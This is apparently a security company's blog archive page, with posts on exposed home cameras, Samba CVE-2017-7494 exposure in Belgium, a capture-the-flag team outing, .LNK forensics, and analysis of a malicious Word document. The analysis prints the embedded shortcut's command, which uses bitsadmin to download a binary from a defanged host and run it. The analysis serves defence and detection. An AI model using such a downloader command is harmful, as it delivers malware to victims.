Author Archives: mcoenenvisobe

Who is watching your home surveillance systems?

This morning, I heard on the radio that dozens of Belgian families were being watched through their own home surveillance system in Belgium. Nothing new here, as we already know for years that sites exist through which you can watch camera footage of unknowing victims, and this problem is not just limited to Belgium of course.

Now, looking at this from an IT security perspective, it would be easy to say “it’s their own fault, they should have changed their default passwords!” or “it’s their own fault, why would you make your surveillance system internet accessible?”. The reality is that most users don’t see an issue with connecting their home surveillance system to the internet – especially not if it’s fully supported by the vendor! In the end, it’s reasonable for the user to expect from the vendor that the surveillance system is installed in a secure way.

shodan

A quick search on Shodan – a search engine for connected devices – shows thousands of publicly exposed surveillance systems all over the world.

A few weeks ago, one of our colleagues had a specialized firm install security cameras around the house. Our colleague had to move heaven and earth to explain that the video controller should not be directly connected to the internet but that it should be connected to the internal network which is firewalled. As you can see, most people would have no notion of this and would be happy to see the video footage everywhere they go from an app on their smartphone without any type of authentication.

Now, how to avoid your home surveillance system from being viewed by anyone in the world? Well there are several things you can do here, varying in terms of technical difficulty (non-exhaustive list).

  1. Password-protect all your connected devices, and remove anonymous access.
  2. Change the default password on all your connected devices. This will prevent that these devices can be accessed by anyone on the internet using default credentials, such as username and password both being “admin” or “demo”.
  3. Keep your camera software up to date. As with all electronic devices running software is the case, camera systems could contain bugs that allow unauthorized individuals to take control of and view your images. When bugs in cameras are identified, usually (unfortunately not always), the vendors release patches to fix these bugs.
  4. Connect wireless cameras to a secured wireless network. If you use wireless cameras, it is important to connect them to a secure (WPA2) wireless network. This will prevent anyone in the vicinity of your network to eavesdrop on and intercept the communication.

Last but not least, more and more vendors are allowing end users to connect their devices to the cloud and have them view the images through a secured online portal. Moving forward this looks to be a good solution for private homes as with this solution it is not needed to make your cameras internet accessible but in the same time you would be able to view your live feeds from anywhere. In this case, the security of the solution also depends on the security of the vendor cloud environment.

We are currently performing research on the security of home surveillance systems and will post updates on this soon, so stay tuned!

unnamed 2

Our team is researching common security errors in IoT devices as we speak

A word from our interns Aras, Gaetan and Wouter!

During the first half of 2017 we had the pleasure of working with three bright interns assisting us on various projects ranging from developing an interactive training platform to creating challenges for the Cyber Security Challenge to working on improving our own IT environment.

We asked them to let us know what they thought of their time spent here. Below is the feedback we received!

Interns_Q1_Q2_2017

Posing in front of our beloved blue bird with a great smile! 😊

Gaëtan:
During my internship at NVISO, I assisted the company into deploying and assessing new components in the IT environment. Due to NVISO’s sector of operation, a large emphasis was placed on the security of this environment both in the cloud and on the workstations used to access the services and resources. The aim of this migration was to provide a more unified set of services with increased productivity features while maintaining a strong, secure and controlled environment.

Overall it was a pleasure to work at NVISO during my internship. Working with such a dynamic team was a pleasure, and the overall ambiance and working with like-minded people was a delight.

Aras:
Personally I am proud on doing my internship at NVISO and also with his team that had respect, experience and fun.
During my internship I did two different projects:
1 – creation of the IoT village for the Cyber Security Challenge
2 – Working with open source information databases on connected devices, such as Shodan.

Thank you again guys to all great moment and your patience,

Wouter – Howest:
During my internship I worked on building the back end for an interactive training infrastructure. This infrastructure will help NVISO in improving its trainings, demonstrations and workshops. Building this infrastructure would not have been possible without the support of the NVISO team. I really enjoyed working at NVISO during my internship. The working atmosphere and colleagues are really top notch.

We would like to take this opportunity to thank you all for your commitment and enthusiasm you all brought into the workplace! Hope to see you again soon 🐀!

The entire NVISO team.

Critical Samba vulnerability CVE-2017-7494 – Impact on Belgium

The Samba Team disclosed vulnerability CVE-2017-7494: Remote code execution from a writable share.

HD Moore reported that the vulnerability is simple to exploit: on an open, writable SMB share, a shared library has to be uploaded which can then be easily executed on that server. The Samba Team has released patches and new versions (the vulnerability was introduced in version 3.5.0).

As a Brussels-based company, we are interested to understand what traction this vulnerability can get in the Internet landscape in Belgium. We took our question to Shodan.

  • In Belgium, there are (at the time of writing) 628 Samba servers running with a public IP address scanned by Shodan.
  • 370 of those servers require no authentication.
  • 301 of those servers share disks.
  • 266 of those servers use a vulnerable Samba version (we found no reported versions that include the fix).
  • And finally, 77 of those servers share a disk with read-only property explicitly set to false.

Breaking these down by OS, Shodan reports:

  • 38 Unix servers,
  • 30 Windows 6.1 servers and
  • 9 QTS servers (QNAS OS).

Several of the servers reporting as Windows 6.1 OS look to be honey pots.

If we filter these remaining servers for NAS devices (by looking at the comment of the IPC$ share), we end up with 33 servers.

All in all, a small set of potentially vulnerable devices. This analysis is solely based on Shodan data, we did not execute any scans ourselves.

Post created by:
Didier Stevens
Senior malware analyst @ NVISO

Let’s get the team together…

It was the last week of April: our entire NVISO team had packed their bags and was ready to board a plane. Where to? A secret location, to celebrate the achievements of our fantastic team !

Did all of you lab rats bring your passports? 🐀

Did all of you lab rats bring your passports? 🐀

Destination: unknown…
From the very beginning, it became clear that the discovery of our destination was a fun team-building event by itself: to find out, we’d have to solve a series of technical challenges eventually lifting the veil on that well-kept secret… right before getting our boarding passes !

In the morning, we were all supposed to meet up at our office. At exactly 9AM, we received a mail from HR containing a URL. The website was created using Drupal and contained a bit of teaser information concerning the offsite. It also had a login form, but we were lacking valid credentials. After some fiddling around and some scanning, we found it was vulnerable to Drupageddon. This allowed us to create a user account using SQL injection. Once logged into the website, we could create posts ourselves. This vulnerability also allowed us to run commands through PHP, but we weren’t able to simply launch a reverse shell. Using a Netcat pipe, we did succeed in getting shell access to the server. The next step was to look for some kind of flag. Some grepping and finding showed us the location of the flag, in a file containing instructions for the next piece of the puzzle.

Maybe we should have brought two computers into office this morning...

Maybe we should have brought two computers into office this morning…

From there on, we were split up in two teams. Team A would remain in Brussels and team B was set off to a gas station near the highway in Breda, in The Netherlands. There, Team B was to find “Lou”. Upon arrival at the gas station, team B inquired for Lou: the lady behind the counter looked at them as if they were about to pull a gun. Looking all over the gas station, Team B eventually identified Lou: the challenge could continue. But what should Team B tell Lou ?

Team A had to assist them: very soon, they found a USB key taped to one of the GoPro action cameras left behind by the organizers to record our endeavors. Forensic analysis was on! After booting kali, performing some volatility magic, deciding it took too long and running strings on the dump file, Team A discovered the passphrase that should be given to Lou at the gas station.

Once Team B provided the correct passphrase to Lou, he gave the next set of instructions for both Team A and Team B. Through an image puzzle, Team B found out they had to carry on towards Schiphol, the Amsterdam Airport. Lou would be there, somewhere, ready to hand out the next hint. Meanwhile, Team A were told they should find an envelope at the office. After flipping over all the tables, the envelope was found : it contained yet another USB key. This time, the USB key contained an encrypted zip file with a PCAP file inside. After putting its youngest new recruit in front of the computer in true Swordfish-first-scene style, Team A cracked the password and started analysis of the PCAP file. Captured traffic in the PCAP consisted of web browsing traffic towards the website of Brussels International Airport: the hint was clear, Team A rushed to the airport !

The destination? Dubai!

Our precious bird, watching over the Burj...

Our precious bird, watching over the Burj…

Our time in the City of Endless Possibilities
Taking some time to reflect is important. Taking some space (literally) helps to step back and look at the bigger picture. While we did reflect on where we had come from, our eyes were decidedly focused on the future. We spent quite some time discussing what we stand for as individuals and as a team: we discussed which values we want to share and live by, and how these values can make NVISO better, both for us and for our clients. The conversation resulted in valuable insights. Putting words on what we believe in, together, made everyone feel committed to upholding them, because they are what we believe in, and represent us best.

To then put our money where our mouth was, the rest of our time was invested in taking concrete actions: we set off to select one initiative that would help NVISO improve in practice. Four teams together proposed 8 ideas, which were challenged and judged by a ‘shark tank’, our very own jury.

20170427-DSCF5851

The proposal attracting the most support was an initiative on internal sharing of knowledge between colleagues. So in the coming months, we will be working to build a framework that supports and promotes informal sharing of experiences and skills within NVISO. Because sharing is caring!

The winners of the Shark Tank 2017 - congratulations Hans, Benoit, Mercedes, Nico and Jeroen!

The winners of the Shark Tank 2017 – congratulations Hans, Benoit, Mercedes, Nico and Jeroen!

But let’s not fool ourselves: the trip was not all hard work. We also found time to enjoy the local attractions of Dubai and have lots of team fun. Loyal to the good old “work hard, play hard” motto, and believing in laughter as a great way to bond with colleagues, we rushed down crazy water slides in Aquaventure, chilled at the local beach and were inspired to aim higher at Burj Khalifa. In short, we made the most of our time there, enjoying some well-deserved rest, having fun and getting to know each other better as a great team. After all, we don’t travel to the City of Endless Possibilities every week!

Aarg ... we should have taken this picture before sunset! 🐀 😁

Aarg … we should have taken this picture before sunset! 🐀 😁

Tracking threat actors through .LNK files

In the blog post .LNK downloader and bitsadmin.exe in malicious Office document we were asked the following question by Harlan Carvey:

Did you parse the LNK file for things such as embedded MAC address, NetBIOS system name, any SID, and volume serial number?

We did not do that at the time, however we see the value in this to track specific threat actors throughout different campaigns.

The Windows .LNK file format contains valuable and information that is specific for the host on which that .LNK file has been created including:

  • The MAC address of the host;
  • The NetBIOS system name;
  • the volume serial number.

This is all information that will not easily be changed on the threat actors workstation and which should be fairly unique.

For more information on the .LNK file format, take a look at the following ForensicWiki page: http://forensicswiki.org/wiki/LNK.

I used the tool lnkanalyser from woanware to analyse the extracted .LNK file.

lnkanalyser

Now what information are we seeing here.

NOTE: this tool does not show the relative path, on other .LNK files we tested this was shown. This particular .LNK file’s relative path refers to cmd.exe in the C:\Windows\System32 folder.

The first thing that stands out is the argument, this is everything that is passed on to command line, this has been discussed in the the blog post .LNK downloader and bitsadmin.exe in malicious Office document.

Next interesting item is the Target Metadata. The timestamps shown here are the timestamps of the target executable, in this case cmd.exe, of the executable on the system of the person creating this .LNK file.

Concluding we have four artefacts tied to the workstation on which this .LNK was created that can be used to track a threat actor:

  • Hard disk Serial number: 60BDBF2D
  • Volume ID: C2CC139818B9E241824054A8ADE20A9A
  • Machine ID: 123-¯ª
  • Mac address: 00:0C:29:5A:39:04

 

Didier Stevens created a comprehensive screencap on how to extract the .LNK file from the Word document and analyze it with lnkanalyzer.exe:

 

For an extensive explanation of .LNK file attributes, we’d like to refer you to the following research: http://computerforensics.parsonage.co.uk/downloads/TheMeaningofLIFE.pdf

.LNK downloader and bitsadmin.exe in malicious Office document

We received a malicious office document (529581c1418fceda983336b002297a8e) that tricks the user into clicking on an embedded LNK file which in its turn uses the Microsoft Background Intelligent Transfer Service (BITS) to download a malicious binary from the internet.

The following Word document (in Japanese) claims to be an invoice, the user must click the Word icon to generate the amount to be paid.

mal_word_doc

When using Oledump.py to analyze this Word document we get the following output:

Screen Shot 2017-03-23 at 18.26.36

As you can see, in stream 8 an embedded OLE object is present. Using the following command we can obtain information on what this embedded OLE object exactly is:

oledump.py -s 8 -i ./document_669883.doc

Screen Shot 2017-03-23 at 18.28.14

The embedded object is thus an LNK file, we can then use the following command to get a hexdump on what this LNK file actually contains:

oledump.py -s 8 ./document_669883.doc

Screen Shot 2017-03-23 at 18.32.19

When going through this hexdump we can spot the intentions of this LNK file:

Screen Shot 2017-03-23 at 18.32.59

Now, to make this a bit easier to read we can use the following oledump.py command:

oledump.py -s 8 -d document_669883.doc

Which provides the following output:

clean output.png

Opening the LNK file will execute the following command:

C:\Windows\System32\cmd.exe %windir% /c explorer.exe & bitsadmin.exe /transfer /priority high hxxp://av.ka289cisce[.]org/rh72.bin %AppData%\file.exe & %AppData%\file.exe

When looking at the timestamps of the Word document, we noticed that the file was last saved on 2017-03-22 19:20:00. The first sighting of this file on VirusTotal was already at 2017-03-22 23:15:59 UTC, less than 4 hour after it was last saved. This could explain why the link containing the binary file was no longer active at the time of our analysis (12 hours after first sighting on VirusTotal).

If you want to check if your organisation has been impacted by a similar document, you can detect the malicious downloads by looking through your proxy logs and searching for the following user agent: “Microsoft BITS/*”. While there are multiple software packages that use the BITS.EXE to download updates, these are currently still pretty limited, filtering for unique destination hosts will limit your dataset significantly enough for you to be able to spot the outlier(s) easily.